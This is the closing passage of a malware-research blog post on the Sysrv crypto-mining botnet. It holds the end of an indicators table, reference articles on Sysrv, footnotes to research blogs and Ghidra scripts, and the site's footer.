      <td>Proc name - format: [a-z0-9]{6}</td>
      <td>Copy of Linux Sysrv binary that moves around the system (writeable paths)</td>
    </tr>
    <tr>
      <td>sys.exe</td>
      <td>Windows Sysrv binary - not analysed</td>
    </tr>
  </tbody>
</table>

<hr />
<h1 id="related-articles--blogs-on-the-subject">Related articles &amp; blogs on the subject</h1>

<p>These articles and blogs were used as reference points when determining if the miner was related to Sysrv.</p>

<ul>
  <li>https://threatpost.com/sysrv-k-botnet-targets-windows-linux/179646/</li>
  <li>https://cujo.com/the-sysrv-botnet-and-how-it-evolved/</li>
  <li>https://www.theregister.com/2022/05/18/microsoft-cryptomining-sysrv-k/</li>
  <li>https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence</li>
</ul>

<hr />
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>https://intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/ <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>https://cujo.com/the-sysrv-botnet-and-how-it-evolved/ <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:2:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p>https://twitter.com/MsftSecIntel/status/1525158219206860801 <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p>https://github.com/advanced-threat-research/GhidraScripts <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5" role="doc-endnote">
      <p>https://github.com/getCUJO/ThreatIntel/tree/master/Scripts/Ghidra <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:6" role="doc-endnote">
      <p>https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence <a href="#fnref:6" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>

      </article>

      
        <div class="blog-tags">
          <span>Tags:</span>
          
            <a href="/tags#golang">golang</a>
          
            <a href="/tags#linux">linux</a>
          
            <a href="/tags#malware">malware</a>
          
            <a href="/tags#reverse engineering">reverse engineering</a>
          
            <a href="/tags#vulnerability">vulnerability</a>
          
        </div>
      

      

      
        <!-- Check if any share-links are active -->




<section id = "social-share-section">
  <span class="sr-only">Share: </span>

  
    <a href="https://twitter.com/intent/tweet?text=Not+Another+Coin+Miner&url=https%3A%2F%2Fultimacybr.co.uk%2F2023-10-04-Sysrv%2F"
      class="btn btn-social-icon btn-twitter" title="Share on X">
      <span class="fab fa-fw fa-x-twitter" aria-hidden="true"></span>
      <span class="sr-only">X</span>
    </a>
  

  
    <a href="https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fultimacybr.co.uk%2F2023-10-04-Sysrv%2F"
      class="btn btn-social-icon btn-facebook" title="Share on Facebook">
      <span class="fab fa-fw fa-facebook" aria-hidden="true"></span>
      <span class="sr-only">Facebook</span>
    </a>
  

  
    <a href="https://www.linkedin.com/shareArticle?mini=true&url=https%3A%2F%2Fultimacybr.co.uk%2F2023-10-04-Sysrv%2F"
      class="btn btn-social-icon btn-linkedin" title="Share on LinkedIn">
      <span class="fab fa-fw fa-linkedin" aria-hidden="true"></span>
      <span class="sr-only">LinkedIn</span>
    </a>
  

  

  

</section>



      

      <ul class="pagination blog-pager">
        
        <li class="page-item previous">
          <a class="page-link" href="/2023-07-07-CVE_2023_35829/" data-toggle="tooltip" data-placement="top" title="CVE-2023-35829-POC">&larr; Previous Post</a>
        </li>
        
        
        <li class="page-item next">
          <a class="page-link" href="/2024-02-23-Vbox_mlwrlab/" data-toggle="tooltip" data-placement="top" title="Linux Malware Lab 101 - P1">Next Post &rarr;</a>
        </li>
        
      </ul>
      
  
  
  

  


  

  



    </div>
  </div>
</div>


  <footer>
  <div class="container-md beautiful-jekyll-footer">
    <div class="row">
      <div class="col-xl-8 offset-xl-2 col-lg-10 offset-lg-1">
      <ul class="list-inline text-center footer-links"><li class="list-inline-item">
    <a href="mailto:info@ultimacybr.co.uk" title="Email me">
      <span class="fa-stack fa-lg" aria-hidden="true">
        <i class="fas fa-circle fa-stack-2x"></i>
        <i class="fas fa-envelope fa-stack-1x fa-inverse"></i>
      </span>
      <span class="sr-only">Email me</span>
   </a>
  </li><li class="list-inline-item">
    <a href="https://github.com/Pir00t" title="GitHub">
      <span class="fa-stack fa-lg" aria-hidden="true">
        <i class="fas fa-circle fa-stack-2x"></i>
        <i class="fab fa-github fa-stack-1x fa-inverse"></i>
      </span>
      <span class="sr-only">GitHub</span>
   </a>
  </li><li class="list-inline-item">
    <a href="https://twitter.com/Pir00t" title="X">
      <span class="fa-stack fa-lg" aria-hidden="true">
        <i class="fas fa-circle fa-stack-2x"></i>
        <i class="fab fa-x-twitter fa-stack-1x fa-inverse"></i>
      </span>
      <span class="sr-only">X</span>
   </a>
  </li><li class="list-inline-item">
    <a href="https://reddit.com/u/Pir00t" title="Reddit">
      <span class="fa-stack fa-lg" aria-hidden="true">
        <i class="fas fa-circle fa-stack-2x"></i>
        <i class="fab fa-reddit fa-stack-1x fa-inverse"></i>
      </span>
      <span class="sr-only">Reddit</span>
   </a>
  </li><li class="list-inline-item">
    <a href="https://linkedin.com/in/steven-folek-822aa9a0" title="LinkedIn">
      <span class="fa-stack fa-lg" aria-hidden="true">
        <i class="fas fa-circle fa-stack-2x"></i>
        <i class="fab fa-linkedin fa-stack-1x fa-inverse"></i>
      </span>
      <span class="sr-only">LinkedIn</span>
   </a>
  </li><li class="list-inline-item">
    <a href="https://discord.com/786698257342398516" title="Discord">
      <span class="fa-stack fa-lg" aria-hidden="true">
        <i class="fas fa-circle fa-stack-2x"></i>
        <i class="fab fa-discord fa-stack-1x fa-inverse"></i>
      </span>
      <span class="sr-only">Discord</span>
   </a>
  </li></ul>

      
      <p class="copyright text-muted">
      
        Steven Folek
        &nbsp;&bull;&nbsp;
      
      2024

      
        &nbsp;&bull;&nbsp;
        <span class="author-site">
          <a href="https://ultimacybr.co.uk/">ultimacybr.co.uk</a>
        </span>
      

      

      

      </p>
      <p class="theme-by text-muted">
        Powered by
        <a href="https://beautifuljekyll.com">Beautiful Jekyll</a>
      </p>
      </div>
    </div>
  </div>
</footer>


  
  
    
  <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha256-4+XzXVhsDmqanXGHaHvgh1gMQKX40OUvDEBTu8JcmNs=" crossorigin="anonymous"></script>


  
    
  <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>


  
    
  <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>


  



  
    <!-- doing something a bit funky here because I want to be careful not to include JQuery twice! -->
    
      <script src="/assets/js/beautifuljekyll.js"></script>
    
  









</body>
</html>
